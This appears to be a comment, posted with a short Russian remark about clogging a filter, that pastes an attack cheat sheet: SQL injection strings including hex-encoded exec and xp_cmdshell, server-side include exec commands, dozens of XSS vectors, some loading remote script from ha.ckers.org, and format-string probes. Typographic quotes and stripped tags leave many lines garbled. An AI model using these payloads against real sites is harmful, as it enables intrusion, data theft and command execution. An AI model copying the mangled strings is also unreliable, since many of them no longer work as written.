Может хватит мне засорять фильтр всякой хренью?
Это было просто бест - все XSS в одном комменте!
=== SQL Injection Statements ===
’sqlvuln
‘+sqlvuln
sqlvuln;
(sqlvuln)
a’ or 1=1–
a” or 1=1–
” or “a” = “a
a’ or ‘a’ = ‘a
1 or 1=1
a’ waitfor delay ‘0:0:10′–
1 waitfor delay ‘0:0:10′–
declare @q nvarchar (4000) select @q =
0×770061006900740066006F0072002000640065006C006100 79002000270030003A0030003A
0
031003000270000
declare @s varchar(22) select @s =
0×77616974666F722064656C61792027303A303A3130270 0 exec(@s)
declare @q nvarchar (4000) select @q =
0×730065006c00650063007400200040004000760065007200 730069006f006e00 exec(@q)
declare @s varchar (8000) select @s = 0×73656c65637420404076657273696f6e
exec(@s)
a’
?
‘ or 1=1
‘ or 1=1 –
x’ AND userid IS NULL; –
x’ AND email IS NULL; –
anything’ OR ‘x’='x
x’ AND 1=(SELECT COUNT(*) FROM tabname); –
x’ AND members.email IS NULL; –
x’ OR full_name LIKE ‘%Bob%
23 OR 1=1
‘; exec master..xp_cmdshell ‘ping 172.10.1.255′–
=== SSI (Server Side Includes) Statements ===
<!–#exec cmd=”mail Foobar@email.de
== XSS Statements - Most effective/most common statements ===
Testing Statements
‘;alert(String.fromCharCode(88,83,83))//\’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//\”;alert(String.fromCharCode(88,83,83))//–>”>’>alert(String.fromCharCode(88,83,83))
”;!–”=
Common exploit code (covers a lot of XSS vulnerabilities)
‘>alert(String.fromCharCode(88,83,83))alert(String.f romCharCode(88,83,83))alert(String.fromCharCode(88 ,83,83))alert(String.fromCharCode(88,83,83));
=== XSS Statements - Full List ===
alert(”XSS”)”>
perl -e ‘print “”;’ > out
perl -e ‘print “alert(\”XSS\”)”;’ > out
<alert(”XSS”);//<
<SCRIPT SRC=http://ha.ckers.org/xss.js?
<IMG SRC=”:alert(’XSS’)”
<iframe src=http://ha.ckers.org/scriptlet.html <
a=/XSS/\nalert(a.source)
\”;alert(’XSS’);//
alert(”XSS”);
@import’http://ha.ckers.org/xss.css’;
<META HTTP-EQUIV=”Link” Content=”; REL=stylesheet”>
BODY{-moz-binding:url(”http://ha.ckers.org/xssmoz.xml#xss”)}
li {list-style-image: url(”:alert(’XSS’)”);}XSS
¼script¾alert(¢XSS¢)¼/script¾
@im\port’\ja\vasc\ript:alert(”XSS”)’;
exp/*
alert(’XSS’);
.XSS{background-image:url(”:alert(’XSS’)”);}
BODY{background:url(”:alert(’XSS’)”)}
XSS
<![CDATA[]]>
<IMG SRC=”javascript:alert(’XSS’)”>
<!–#exec cmd=”/bin/echo ‘
<? echo(’alert(”XSS”)’); ?>
+ADw-SCRIPT+AD4-alert(’XSS’);+ADw-/SCRIPT+AD4-
” SRC=”http://ha.ckers.org/xss.js”>
” SRC=”http://ha.ckers.org/xss.js”>
” ” SRC=”http://ha.ckers.org/xss.js”>
‘” SRC=”http://ha.ckers.org/xss.js”>
` SRC=”http://ha.ckers.org/xss.js”>
‘>” SRC=”http://ha.ckers.org/xss.js”>
document.write(”<SCRI”);PT SRC=”http://ha.ckers.org/xss.js”>
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
XSS
<a href=”about:document.write(”XSS-XSS-XSS”);”>
document.write(”XSS-XSS-XSS”);
<!–document.write(”XSS-XSS-XSS”);//–>
<![CDATA[document.write(”XSS-XSS-XSS”);
<document.write(”XSS-XSS-XSS”);
” onmouseover=”document.write(”XSS-XSS-XSS”);”>
<script>document.write(”XSS-XSS-XSS”);</script>;
&document.write(”XSS-XSS-XSS”);
<a href=”about:document.write(”XSS-XSS-XSS”);”>
[Mozilla]
document.write(”XSS-XSS-XSS”);
<!–document.write(”XSS-XSS-XSS”);//–>
<![CDATA[
document.write(”XSS-XSS-XSS”);
<document.write(”XSS-XSS-XSS”);
” onmouseover=”document.write(”XSS-XSS-XSS”);”>
<script>document.write(”XSS-XSS-XSS”);</script>;
[\xC0][\xBC]script>document.write(”XSS-XSS-XSS”);[\xC0][\xBC]/script>
=== Format String Statements ===
%s%p%x%d
.1024d
%.2049d
%p%p%p%p
%x%x%x%x
%d%d%d%d
%s%s%s%s